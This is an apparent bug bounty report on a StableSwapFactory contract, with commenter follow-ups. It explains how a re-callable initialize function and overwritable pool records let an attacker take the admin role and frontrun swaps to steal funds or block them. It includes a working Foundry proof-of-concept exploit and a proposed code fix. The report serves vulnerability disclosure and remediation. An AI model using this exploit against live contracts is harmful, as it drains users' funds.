`StableSwapFactory` ownership can be stolen leading to stealing user’s funds and/or complete DOS of the protocol

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0x71a37401edec58be04ad4746ea38e3c61ad8feec52d6f03628a32b78c8104e01 Severity: high

Description: Description

The StableSwapFactory createSwapPair can be called with the same parameters on a different block and will create a new LP token alongside with a new pool contract, while overwritting the existing state stableSwapPairInfo for the tokenA/tokenB/tokenC address. That can result into an existing pool being replaced by a new one.

Furthermore, the initialize function can be called more than once which means anyone can overwrite the current admin.

A malicious actor can either exploit the vulnerability to DOS every pool, or steal funds from users trying to swap with amountOutMin = 0.

The malicious actor calls initialize with the same parameters as the current one, changing the _admin parameter to his address, then goes on and calls createSwapPair with the same parameters as the pool he wants to spoof, which overwrites stableSwapPairInfo. Then, he adds liquidity to the new pool he created, with total liquidity 2 wei.

The user's swap transaction either goes through and loses all the funds he tries to swap, or his swap gets reverted depending on the amountOutMin value.

The vulnerability can be exploited to both twoPool and threePool.

Attack Scenario 1

1. A user calls exactInputStableSwap with amountOutMin = 0.
2. A malicious actor frontruns the user, calls initialize on the StableSwapFactory with the same parameter as the current one but changes the _admin address to his own.
3. Then the malicious actor calls createSwapPair with parameters identical to the ones used to create the pool the user tries to swap, overwritting (spoofing) the pool in stableSwapPairInfo.
4. Lastly, he calls add_liquidity and adds 1 wei worth of each token as liquidity.
5. The user's transaction goes through and he gets back 0 tokens, losing the amount of tokens he put in.
6. The malicious actor calls remove_liquidity draining the user's fund.

Attack Scenario 2

1. A user calls exactInputStableSwap with amountOutMin > 0.
2. A malicious actor frontruns the user, calls initialize on the StableSwapFactory with the same parameter as the current one but changes the _admin address to his own.
3. Then the malicious actor calls createSwapPair with parameters identical to the ones used to create the pool the user tries to swap, overwritting (spoofing) the pool in stableSwapPairInfo.
4. Lastly, he calls add_liquidity and adds 1 wei worth of each token as liquidity.
5. The user's transaction gets reverted, leading to DOS.

Attachments

1. Proof of Concept (PoC)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {StableSwapLP} from "../contracts/stableSwap/StableSwapLP.sol";
import {StableSwapFactory} from "../contracts/stableSwap/StableSwapFactory.sol";
import {StableSwapLPFactory} from "../contracts/stableSwap/StableSwapLPFactory.sol";
import {StableSwapTwoPool} from "../contracts/stableSwap/plain-pools/StableSwapTwoPool.sol";
import {StableSwapThreePool} from "../contracts/stableSwap/plain-pools/StableSwapThreePool.sol";
import {IStableSwapDeployer} from "../contracts/interfaces/IStableSwapDeployer.sol";
import {StableSwapTwoPoolDeployer} from "../contracts/stableSwap/StableSwapTwoPoolDeployer.sol";
import {StableSwapThreePoolDeployer} from "../contracts/stableSwap/StableSwapThreePoolDeployer.sol";
import {StableSwapInfo} from "../contracts/stableSwap/utils/StableSwapInfo.sol";
import {StableSwapTwoPoolInfo} from "../contracts/stableSwap/utils/StableSwapTwoPoolInfo.sol";
import {StableSwapThreePoolInfo} from "../contracts/stableSwap/utils/StableSwapThreePoolInfo.sol";
import {IStableSwapLPFactory} from "../contracts/interfaces/IStableSwapLPFactory.sol";
import {StableSwapRouter} from "../contracts/StableSwapRouter.sol";
import {IStableSwapInfo} from "../contracts/interfaces/IStableSwapInfo.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    uint8 public _decimals;

    constructor(string memory name, string memory symbol, uint8 newDecimals) ERC20(name, symbol) {
        _decimals = newDecimals;
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }
}

contract POC is Test {
    address public tokenA;
    address public tokenB;

    address public owner = makeAddr("owner");
    uint256 public A = 1000; // from the tests
    uint256 public fee = 4_000_000; // from the tests
    uint256 public admin_fee = 5_000_000_000; // from the tests
    address public actor = makeAddr("actor"); // malicious actor
    address public user = makeAddr("user"); // normal user

    StableSwapLPFactory public lpFactory;
    StableSwapTwoPoolDeployer public twoPoolDeployer;
    StableSwapThreePoolDeployer public threePoolDeployer;
    address public liquidityProvider = makeAddr("liquidityProvider");
    StableSwapFactory public factory;
    StableSwapThreePoolInfo public threePoolInfo;
    StableSwapTwoPoolInfo public twoPoolInfo;
    StableSwapInfo public poolInfo;
    StableSwapRouter public router;

    function setUp() public {
        vm.startPrank(owner);
        lpFactory = new StableSwapLPFactory();
        twoPoolDeployer = new StableSwapTwoPoolDeployer();
        threePoolDeployer = new StableSwapThreePoolDeployer();
        factory = new StableSwapFactory();
        factory.initialize(
            IStableSwapLPFactory(address(lpFactory)),
            IStableSwapDeployer(address(twoPoolDeployer)),
            IStableSwapDeployer(address(threePoolDeployer)),
            owner
        );
        lpFactory.transferOwnership(address(factory));
        twoPoolDeployer.transferOwnership(address(factory));
        threePoolDeployer.transferOwnership(address(factory));

        threePoolInfo = new StableSwapThreePoolInfo();
        twoPoolInfo = new StableSwapTwoPoolInfo();
        poolInfo = new StableSwapInfo(IStableSwapInfo(address(twoPoolInfo)), IStableSwapInfo(address(threePoolInfo)));
        router = new StableSwapRouter(address(factory), address(poolInfo));

        tokenA = address(new MockERC20("TOKENA", "TOKENA", 18));
        tokenB = address(new MockERC20("TOKENB", "TOKENB", 18));
        factory.createSwapPair(tokenA, tokenB, A, fee, admin_fee);
        address swapContract = factory.getPairInfo(tokenA, tokenB).swapContract;
        console.log("Pool contract address first time :", swapContract);
        _addLiquidity(StableSwapTwoPool(swapContract), 1_000_000 ether);
        vm.stopPrank();
        vm.warp(block.timestamp + 1);
    }

    function test_POC() public {
        // malicious actor frontruns user
        vm.startPrank(actor);
        factory.initialize(
            IStableSwapLPFactory(address(lpFactory)),
            IStableSwapDeployer(address(twoPoolDeployer)),
            IStableSwapDeployer(address(threePoolDeployer)),
            actor
        );
        // uses identical parameters to override the existing state
        factory.createSwapPair(tokenA, tokenB, A, fee, admin_fee);
        address swapContract = factory.getPairInfo(tokenA, tokenB).swapContract;
        console.log("Pool contract address second time :", swapContract);
        _addLiquidity(StableSwapTwoPool(swapContract), 1);
        vm.stopPrank();

        // user does a normal trade
        uint256 amountToTrade = 1000 ether;
        deal(tokenA, user, amountToTrade);

        vm.startPrank(user);
        IERC20(tokenA).approve(address(router), amountToTrade);
        address[] memory coins = new address[](2);
        coins[0] = tokenA;
        coins[1] = tokenB;
        uint256[] memory flag = new uint256[](1);
        flag[0] = 2;
        router.exactInputStableSwap(coins, flag, amountToTrade, 0, user);
        vm.stopPrank();

        uint256 userBalOut = IERC20(tokenB).balanceOf(user);
        console.log("TokenB balance of user :", userBalOut);
        assertEq(userBalOut, 0);
    }

    function _addLiquidity(StableSwapTwoPool _twoPool, uint256 liquidityAmount) private {
        address _tokenA = _twoPool.coins(0);
        address _tokenB = _twoPool.coins(1);
        deal(_tokenA, liquidityProvider, liquidityAmount);
        deal(_tokenB, liquidityProvider, liquidityAmount);

        vm.startPrank(liquidityProvider);
        IERC20(_tokenA).approve(address(_twoPool), liquidityAmount);
        IERC20(_tokenB).approve(address(_twoPool), liquidityAmount);
        _twoPool.add_liquidity([liquidityAmount, liquidityAmount], 0);
        vm.stopPrank();
    }
}

2. Revised Code

It is recommended to make use of the OpenZeppelin's Initializable Contract. Which will prevert reinitialization.

import "@openzeppelin/contracts/access/Ownable.sol";
+ import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

/**
 * @title Stable swap factory 
 * @notice A factory contract for creating new pool and providing pool information 
 * @dev  This contract manages the creations of stable swap pools and provides access to their information
 */

- contract StableSwapFactory  {
+ contract StableSwapFactory is Initializable {

function initialize(
    IStableSwapLPFactory _LPFactory,
    IStableSwapDeployer _SwapTwoPoolDeployer,
    IStableSwapDeployer _SwapThreePoolDeployer,
    address _admin

- ) public  {
+ ) public initializer {
    LPFactory = _LPFactory;
    SwapTwoPoolDeployer = _SwapTwoPoolDeployer;
    SwapThreePoolDeployer = _SwapThreePoolDeployer;
    admin=_admin;
}

Furthermore, the createSwapPair and createThreePoolPair should check that stableSwapPairInfo has not state for the given token addresses.

function createSwapPair(
    address _tokenA,
    address _tokenB,
    uint256 _A,
    uint256 _fee,
    uint256 _admin_fee
) external onlyAdmin {
    require(_tokenA != ZEROADDRESS && _tokenB != ZEROADDRESS && _tokenA != _tokenB, "Illegal token");
+    require(stableSwapPairInfo[_tokenA][_tokenB][ZEROADDRESS].swapContract == address(0), "Stable pair already exists!");
    (address t0, address t1) = sortTokens(_tokenA, _tokenB);
    address LP = LPFactory.createSwapLP(t0, t1, ZEROADDRESS, address(this));
    address swapContract = SwapTwoPoolDeployer.createSwapPair(t0, t1, _A, _fee, _admin_fee, msg.sender, LP);
    IStableSwapLP(LP).setMinter(swapContract);
    addPairInfoInternal(swapContract, t0, t1, ZEROADDRESS, LP);
}

function createThreePoolPair(
    address _tokenA,
    address _tokenB,
    address _tokenC,
    uint256 _A,
    uint256 _fee,
    uint256 _admin_fee
) external onlyAdmin {
    require(
        _tokenA != ZEROADDRESS &&
            _tokenB != ZEROADDRESS &&
            _tokenC != ZEROADDRESS &&
            _tokenA != _tokenB &&
            _tokenA != _tokenC &&
            _tokenB != _tokenC,
        "Illegal token"
    );
+    require(stableSwapPairInfo[_tokenA][_tokenB][_tokenC].swapContract == address(0), "Stable pair already exists!");
    (address t0, address t1, address t2) = sortTokens(_tokenA, _tokenB, _tokenC);
    address LP = LPFactory.createSwapLP(t0, t1, t2, address(this));
    address swapContract = SwapThreePoolDeployer.createSwapPair(t0, t1, t2, _A, _fee, _admin_fee, msg.sender, LP);
    IStableSwapLP(LP).setMinter(swapContract);
    addPairInfoInternal(swapContract, t0, t1, t2, LP);
}

[JordanRaphael]

A small note for the Revised Code section.

I noticed that there is also an admin function called addPairInfo which also overwrites the state, so I'd like to recommend a better solution to the issue, instead of checking whether the stableSwapPairInfo for a certain set of tokens has been initialized within the functions createSwapPair and createThreePoolPair (i.e. in every function calling addPairInfoInternal), it would be more efficient to do it directly in the addPairInfoInternal function as follows:

function addPairInfoInternal(
    address _swapContract,
    address _t0,
    address _t1,
    address _t2,
    address _LP
) internal {
+   require(stableSwapPairInfo[_t0][_t1][_t2].swapContract == address(0), "Stable pair already exists!");
    StableSwapThreePoolPairInfo storage info = stableSwapPairInfo[_t0][_t1][_t2];
    info.swapContract = _swapContract;
    info.token0 = _t0;
    info.token1 = _t1;
    info.token2 = _t2;
    info.LPContract = _LP;
    swapPairContract[pairLength] = _swapContract;
    pairLength += 1;
    if (_t2 != ZEROADDRESS) {
        addThreePoolPairInfo(_t0, _t1, _t2, info);
    }

    emit NewStableSwapPair(_swapContract, _t0, _t1, _t2, _LP);
}

[Ghoulouis]

Exploiting initialize vulnerability, this bug was found by #1 Regarding overriding when deploying pools, this is calculated by the admin so I think this is unlikely